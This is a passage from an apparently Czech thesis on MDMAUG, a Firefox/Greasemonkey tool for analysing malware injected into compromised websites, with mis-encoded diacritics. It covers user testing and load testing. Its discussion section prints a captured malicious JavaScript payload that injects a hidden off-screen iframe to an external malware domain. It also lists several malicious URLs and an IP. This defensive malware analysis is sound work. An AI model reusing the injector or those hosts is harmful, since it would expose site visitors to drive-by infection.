V nadpisu jsou v²echny d·leºité p°ipomínky - pro b¥h Greasemonky je t°eba mít
zaplé roz²í°ení NoScript (kdyby se administrátor náhodou ukliknul a p°e²el na ²kodlivou
doménu), je t°eba být p°ihlá²en v interním registru a deaktivovat roz²í°ení Firebug,
které v kombinaci s b¥hem náro£ných uºivatelských skript· p·sobí zamrznutí tab·.

Následuje krátké menu, které odpovídá poºadavk·m z návrhové £ásti. Uºivatelské
skripty se za°ídí podle toho, co chce administrátor d¥lat (zda poslat maily, analyzovat
stránky nebo telefonovat lidem). Tla£ítkem launch spustíme aº 50 domén naráz. I kdyº
na serveru analyzátoru nemám k dispozici prost°edky pro tolik Firefox·, server nechá
poºadavky na analýzu £ekat, aº se zdroje uvolní (a instance Firefox· dob¥hnou).
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Se vzdáleným analyza£ním serverem Greasemonkey pln¥ komunikuje a p°edkládá
výsledky. Snadno tak p°ijdeme i na kód, který je vysoce obfuskovaný - necháme p·sobit
samotný Firefox, aby se malware mohl projevit ve svém domácím prost°edí, neru²en
výskytem ºádných bezpe£nostních opat°ení.

Lidský uºivatel má pak k dispozici p°esný popis míst, které nev¥domky nedobrovoln¥
nav²tíví kdokoliv, kdo p°istupuje na podez°elou URL. N¥kolika pohyby ²ipkou pak
vykoná hlasování o tom, která z URL je evidentn¥ nebezpe£ná, kterou zaslouºí zvý²enou
ostraºitost a které d·v¥°ujeme natolik, ºe se s p°i dal²í analýze nebudeme muset zabývat.
Níºe máme ukázku toho, jak vypadá napadená doména po analýze.

[obohhacenástránka s de-
tailem incidendtu]

Úpln¥ naho°e z·stal panel odkaz·, který jsme popsali v návrhu, kdy URL m·ºeme
postoupit je²t¥ n¥kolika dal²ím externím sluºbám (nap°. �uq� je urlQuery. . . ). Nakonec
je p°ipojena informace, ºe v mailovém trackeru jsou 3 zprávy, p°i£emº od poslední up-
lynulo celých 103 dn·. B¥hem této doby byla doména stále nakaºená, protoºe její
majitel nereagoval. Níºe jsou taby opat°ené klávesovými zkratkami, aby m¥l admin-
istrátor usnadn¥n pohyb. Kaºdé nahlá²ené URL na domén¥ je opat°eno tla£ítkem �add
to analysis� pro p°ípad, ºe bychom v rámci webu cht¥li p°iotestovat je²t¥ dal²í URL.
(Nap°. kdyº automatický nástroj napoprvé malware nena²el.) Lze je spustit v²echny
najednou, výsledky se nám slou£í s výsledky analýzy, která je pod tabulkou. V na²em
p°ípad¥ obsahuje t°i weby. Hned první z nich je dle URL corradorossi.it, jasný p°ípad
jedné z mnoha domén, které jsou udrºovány jen za ú£elem ²í°ení malware - zpola smysl
dávající název a podez°elé jméno PHP skriptu s £íselným parametrem, takto posledních
n¥kolik let vypadá nej£ast¥j²í p°íklad malware odkazu. Dal²í plus, kterým ²et°íme £as,
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je dohledávání IP k doménám - kaºdá doména má vypsány mod°e v²echny adresy, ke
kterým se vztahuje, a to jak IPv4, tak IPv6. Dal²í doména pat°í regulérnímu down-
loadu mozilla.net a poslední je d·v¥ryhodná mozilla.org, která se pro úplnost za°adila
na konec seznamu.

Pod analýzou se neustále generuje tabulka, kde je moºný CSV export pro projekt
Turris.

Zpoºd¥ná analýza Domény nemusíme analyzovat rovnou. Jakmile se s nimi an-
alyzátor setká, ozna£í je. V moment¥, kdy si ud¥láme £as na d·kladné zkoumání
podez°elých domén, vyuºijeme roz²í°ené menu aplikace - poloºku �Malware domain
kandidáti�. Greasemonkey nám vygeneruje stránku se v²emi doménami, které je²t¥
vyºadují na²e rozhodnutí.

[obohacené hlavní menu]
To administrátora osvobozuje od situací, kdy se v doménách, které analyzoval/neanalyzoval

smutn¥ orientuje pouze pomocí �alového zbarvení nav²tívených odkaz· v prohlíºe£i.
Jednou za ur£ený £as m·ºeme provést také dávkový export CSV pro Turris dal²í novou
poloºkou v menu.

[p°ehled vylep²eného °e²ení]
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6 Uºivatelské testování

Tetování s uºivatelem má za cíl zjistit n¥kolik v¥cí.

1. zda je návrh rozloºení ovládacích prvk· dobrý, nebo zmate£ný

2. zda uºivatel bude um¥t intuitivn¥ vyuºít novou funkcionalitu

3. zda se uºivatel bude orientovat ve výsledcích analýzy

O£ekávaný uºivatel aplikace je kolega autora. P·vodní aplikaci MDM zná a dovede se
v ní dob°e orientovat. Prob¥hla dv¥ testování, v prvním jsme zkou²eli jenom 3. faktor,
orientaci ve výsledcích analýzy, protoºe to je st¥ºejní £ást práce.

6.0.3 Pr·b¥h testování

P°ed prvním testováním jsem p°ipravil 7 r·zných pokusných stránek a uºivatel m¥l za
cíl najít ²kodlivý kód. Nyní popí²eme, jak dlouho trvalo ne²kolenému uºivateli najít
²kodlivý kód v pokusné stránce a kde byl umíst¥n.

1. 20 s, kód byl v tagu script, který uná²el prohlíºe£ náv²t¥vníka na cizí doménu
emercruz.com/vfjw7gtx.php?id=17007351

2. 5 s, kód byl vloºen v tagu iframe

3. 25 s, kód byl vloºený ve skriptu jako v p°ípad¥ (1)

4. 10 s, ²kodlivý kód se na stránce nenacházel, protoºe doména byla zru²ena

5. 30 s, kód byl v inline javascriptu, p°i£emº sm¥°oval na obfuskovanou doménu
www.fotokorri.wz.cz.9080f5db02e72f04.d99q.cn

6. 5 s, kód byl v iframe

7. 25 s, kód byl v neviditelném tagu img a sm¥roval na IP (místo na doménu)
88.198.51.82/dev/cnt/cnt.php?d=gufex.cz

Ve v²ech p°ípadech byl ²kodlivý kód správn¥ ur£en. V p°ípad¥ testu (4) pro orientaci
pomohlo, ºe analýza obsahovalo screenshot s jasnou informací o zru²ení domény. Ne-
dostatky jsme nalezli p°i identi�kaci kódu v javascriptu, který trval uºivateli výrazn¥
déle.

Do druhého testování jsme proto upravili zacházení s javascriptem. Kód je te¤
dostupný pouze na vyºádání, administrátor musí kliknout na odkaz a formátovaný
výstup se otev°e v novém okn¥.

Druhé testování prob¥hlo p°ímo na aplikaci MDM. Uºivatel se m¥l p°ihlásit do
interního registru domén, u 3 nových incident· zaslat majitel·m domén maily, spustit
analýzu náhodných domén a vyhodnotit ji.
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Uºivatel správn¥ zvolil v menu, ºe chce posílat maily a vyhodnocovat analýzu, navolil
£íslo 3 a kliknul na tla£ítko �launch�. Maily se zaslaly samy a z·staly taby s analýzou.
�kodlivý kód na dvou z nich se nacházel v externím tagu script, který uºivatel tentokrát
bez problému na²el. V t°etím p°ípad¥ byl ²kodlivý kód vloºen p°ímo do napadené
stránky a pouºíval funkci eval, kterou uºivatel správn¥ identi�koval jako ²kodlivou a
hlasoval stránku zablokovat.

6.1 Testování bez uºivatele

Testování aplikace bez uºivatele má za cíl podrobit systém vysoké zát¥ºi. B¥hem
testování jsme sledovali log analyzátoru a stav hostitelského po£íta£e pomocí utility
htop.

Ukázalo se, ºe b¥h kon�gurovaného po£tu 20 �refox· stroj naráz nezvládne. Stroj
za£al házet výjimky ohledn¥ alokace pam¥ti (k dispozici má 1 GB RAM) a procesy
Firefox· z·stávaly viset. P·vodn¥ jsme se domnívali, ºe kdyº stroj zvládne Firefox s
20 taby, zvládne i 20 instancí, ale byla to mylná domn¥nka. V praxi jsme po£et omezili
na 3 Firefox a upravili server tak, aby v p°ípad¥, ºe má více poºadavk· na analýzy neº
volných instancí, nechal poºadavky viset tak dlouho, neº se instance uvolní.
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7 Diskuze

V této £ásti se podíváme, jaké nové poznatky zprovozn¥ní sluºby p°ineslo, zhodnotíme
jeho p°ínos a nastíníme moºný rozvoj.

7.1 Nové poznatky

Zajímavých výsledk· jsem dostáhl s propíranou napadenou stránkou www.starechovaci.cz
. Úto£ník tam vyuºívá p°íkaz eval s krátkým argumentem v n¥kolika tisících iteracích.
Poslední z nich nastavuje cookie a p°esm¥rovává na ²kodlivou doménu s italskou kon-
covkou.

> eval: " function p09() {\r\n var static='ajax';\r\n var controller='index.php';\r\n
var p = document.createElement('iframe');\r\n\r\n p.src = 'http://www.dedoniturismo.it/cnt.php';\r\n
p.style.position = 'absolute';\r\n p.style.color = '543';\r\n p.style.height
= '543px';\r\n p.style.width = '543px';\r\n p.style.left = '1000543';\r\n
p.style.top = '1000543';\r\n\r\n if (!document.getElementById('p')) {\r\n
document.write('<p id=\\'p\\' class=\\'p09\\' ></p>');\r\n document.getElementById('p').appendChild(p);\r\n
}\r\n}\r\nfunction SetCookie(cookieName,cookieValue,nDays,path) {\r\n
var today = new Date();\r\n var expire = new Date();\r\n if (nDays==null
|| nDays==0) nDays=1;\r\n expire.setTime(today.getTime() + 3600000*24*nDays);\r\n
document.cookie = cookieName+\"=\"+escape(cookieValue)\r\n + \";ex-
pires=\" + expire.toGMTString() + ((path) ? \"; path=\" + path :
\"\");\r\n}\r\nfunction GetCookie( name ) {\r\n var start = document.cookie.indexOf(
name + \"=\" );\r\n var len = start + name.length + 1;\r\n if ( ( !start
) &&\r\n ( name != document.cookie.substring( 0, name.length ) ) )\r\n
{\r\n return null;\r\n }\r\n if ( start == -1 ) return null;\r\n var end =
document.cookie.indexOf( \";\", len );\r\n if ( end == -1 ) end = doc-
ument.cookie.length;\r\n return unescape( document.cookie.substring( len,
end ) );\r\n}\r\nif (navigator.cookieEnabled)\r\n{\r\nif(GetCookie('visited_uq')==55){}else{SetCookie('visited_uq',
'55', '1', '/');\r\n\r\np09();\r\n}\r\n}"
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Na screenshotu vidíme seznam n¥kolika prvních eval·. Na konci je ²ipka s odkazem,

který vede na plné zn¥ní ²kodlivého kódu.
Mnoho zku²eností jsem nabyl také s vypínáním cache v prohlíºe£i, který m¥l ten-

dence opakovan¥ ukládat mezivýsledky napadených stránek. Analýza pak nep°inesla
o£ekávané výsledky. Seznam nutných preferencí, které je t°eba nastavit kaºdé pouºí-
vané instanci sandboxovaného Firefoxu, uvádím v dokumentaci zdrojového kódu, spolu
s tipem, jak soubor prefs.js, kde Firefox preference z meta stránky about:con�g, ukládá,
efektivn¥ nakopírovat do v²ech ostatních instancí, aniº bychom je museli spou²t¥t.

7.2 P°ínos a dal²í rozvoj

Sluºba významn¥ p°isp¥la k práci se systémem MDM. Níºe vidíme £ást analýzy stránky
fotokorri.wz.cz . Server správn¥ identi�koval ²kodlivý kód stejn¥ jako sluºby urlQuery a
Sucuri. Níºe na screenshotu jsou URL s klí£ovým slovem allow jejichº výpis je zkrácen,
protoºe se jedná o d°íve potkané d·v¥ryhodné domény.
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[fanalýza fotokorri]
V sou£asnosti je ve sluºb¥ MDM kolem 400 zastaralých domén, jejichº majitelé

nereagují a které je t°eba analyzovat, zda kód stále obsahují, nebo zda z·staly ne-
dopat°ením v seznamu ve°ejných zdroj· ²kodlivých domén. Díky tomuto projektu
bude moºno tento po£et v p°í²tích m¥sících významn¥ sníºit.

V cca jednom z deseti p°ípad· se stává, ºe analýza selºe a malware není správn¥
detekován. K zlep²ení detekce m·ºeme experimentovat nap°íklad se zm¥nou hlavi£ky
user-agent, abychom p°im¥li projevit se i malware, který £eká na jiné prohlíºe£e.

Do budoucna plánujeme otev°ít analyzér jako ve°ejnou sluºbu - nyní b¥ºí v interní
VPN spole£nosti a zvenku se k rozhraní nikdo nedostane.
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8 Shrnutí

V práci jsme probrali sou£asné typy ²kodlivého kódu, zvlá²t¥ jsme se zam¥°ili na phish-
ing a malware na stránkách. Probrali jsme, jak se jednotlivé typy malwaru na stránky
dostanou, co d¥lají s náv²t¥vníky a co je jich cílem, a moºnosti, jak se malwaru bránit.
V dal²í fázi jsme se zabývali rozvojem systému MDM, který slouºí ke správ¥ ²kodlivých
domén. Práce s ním má být rychlej²í a také má zahrnovat moºnost analýzy URL adres,
které jsou z výskytu ²kodlivého kódu podez°elé.

Zrychlení MDM jsme implementovali pomocí uºivatelských javascript·, které obo-
hacují jednotlivé stránky o novou funkcionalitu. Zdroje uºivatelských skript· jsou
uloºeny na interním sdíleném disku, kde probíhá vývoj, takºe zm¥ny se ihned pro-
jeví v²em administrátor·m, kte°í MDMAUG pouºívají. Analyzér pak b¥ºí pod názvem
MDMAUG (augmentované MDM) v interní síti CZ.NIC. Zdrojové kódy lze stáhnout
na stránce projektu6.

6http://web.edvard.cz/mdmaug/
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 Abstrakt

Následující práce si klade za cíl zpracovat rešerši škodlivého kódu, který útočníci vkládají do 
napadených webových prezentací. Posléze navrhneme a implementujeme program, který bude 
schopný vyhledat ve skriptech webu podezřelý kód a vypsat škodlivé IP domény, na které je 
návštěvníkův prohlížeč škodlivým kóden unášen. Program implementujeme do existující aplikaci 
Malicious Domain Manager, která slouží ke správě údajů o napadených doménách a otestujeme.

Klíčová slova: malware, hrozba, Firefox, automatizace, síť, hacker, doplňky

Abstract

Main subject of this work is to analyze the types of malware code that attackers include into hacked 
websites. Then we design and realize program capable of suspicious code detection in website 
scripts, that lists the IP addresses of malicious domains visitor's browser is redirected to. We 
implement the program in the current application Malicious Domain Manager that serves as an 
incident handling platform.

Key words: malware, threat, Firefox, automation, network, hacker, addons
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